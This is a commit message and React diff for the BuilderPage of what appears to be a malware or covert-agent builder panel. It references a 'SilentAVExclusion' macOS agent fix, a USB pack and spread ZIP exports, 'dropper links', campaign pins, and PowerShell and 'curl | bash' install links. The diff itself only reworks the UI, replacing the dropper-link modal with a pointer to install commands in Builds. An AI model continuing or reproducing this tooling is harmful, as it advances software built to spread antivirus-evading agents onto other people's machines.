Release validation: tests green, USB pack, fleet UX and API hardening.

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.

server/web/src/pages/BuilderPage.tsx

@@ -59,10 +59,8 @@ import {
   MISSION_STEPS,
   MISSION_STEP_LABELS,
   applyMissionPresets,
-  copyMissionLinks,
   missionStepStatus,
   runForgeMission,
-  type MissionLinks,
   type MissionStep,
 } from '../help/forgeMission';
 import {
@@ -210,8 +208,8 @@ export default function BuilderPage() {
   const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
   const [missionBusy, setMissionBusy] = useState(false);
   const [missionExportSkipped, setMissionExportSkipped] = useState(false);
-  const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
-  useModalAmbientDuck(!!missionModal);
+  const [missionComplete, setMissionComplete] = useState(false);
+  useModalAmbientDuck(missionComplete);
 
   useEffect(() => {
     const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
@@ -720,7 +718,7 @@ export default function BuilderPage() {
     if (!form) return;
     setError('');
     setLastBuild(null);
-    setMissionModal(null);
+    setMissionComplete(false);
     setMissionExportSkipped(false);
     setMissionWizardStep('launch');
 
@@ -757,8 +755,7 @@ export default function BuilderPage() {
       });
       setMissionExportSkipped(result.exportSkipped);
       setForm(normalized);
-      await copyMissionLinks(result.links);
-      setMissionModal(result.links);
+      setMissionComplete(true);
       await finishForgeSuccess(result.build);
     } catch (err: unknown) {
       const msg = err instanceof Error ? err.message : 'Mission failed';
@@ -966,7 +963,7 @@ export default function BuilderPage() {
   });
 
   const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
-  const setupStatus = getSetupStatus(calibrateConfig);
+  const setupStatus = getSetupStatus(calibrateConfig, serverInfo);
 
   return (
     <div className={forgeSkinClass}>
@@ -1291,7 +1288,7 @@ export default function BuilderPage() {
                     )}
                     {!missionBusy && missionStep !== 'error' && (
                       <p className="form-hint" style={{ marginTop: 0 }}>
-                        Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Copy dropper links.
+                        Ritual: Configure presets → Forge (45 min timeout) → Export spread ZIP → Install commands in Builds.
                       </p>
                     )}
                   </div>
@@ -2989,38 +2986,26 @@ export default function BuilderPage() {
       {dispenseReveal?.success && (
         <ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
       )}
-      {missionModal && (
+      {missionComplete && (
         <div
           className="forge-mission-modal-backdrop"
           role="dialog"
           aria-modal="true"
           aria-labelledby="mission-modal-title"
-          onClick={() => setMissionModal(null)}
+          onClick={() => setMissionComplete(false)}
         >
           <div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
-            <h3 id="mission-modal-title">Mission complete — links copied</h3>
+            <h3 id="mission-modal-title">Mission complete</h3>
             <p className="form-hint" style={{ marginTop: 0 }}>
-              PowerShell, bash, and /get URLs are on your clipboard. Pin + campaign query included when set.
+              Your build is ready. Copy per-machine install commands from Builds.
             </p>
-            <div className="forge-mission-link-block">
-              <p>PowerShell</p>
-              <code>{missionModal.ps1}</code>
-            </div>
-            <div className="forge-mission-link-block">
-              <p>curl | bash</p>
-              <code>{missionModal.sh}</code>
-            </div>
-            <div className="forge-mission-link-block">
-              <p>/get dropper</p>
-              <code>{missionModal.get}</code>
-            </div>
             <div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
               <button
                 type="button"
-                className="btn btn-outline btn-sm"
-                onClick={() => void copyMissionLinks(missionModal)}
+                className="btn btn-primary btn-sm"
+                onClick={() => navigate('/builds')}
               >
-                Copy all
+                View install commands in Builds →
               </button>
               <a
                 href="/spread/"
@@ -3030,7 +3015,7 @@ export default function BuilderPage() {
               >
                 Open spread landing
               </a>
-              <button type="button" className="btn btn-primary btn-sm" onClick={() => setMissionModal(null)}>
+              <button type="button" className="btn btn-outline btn-sm" onClick={() => setMissionComplete(false)}>
                 Done
               </button>
             </div>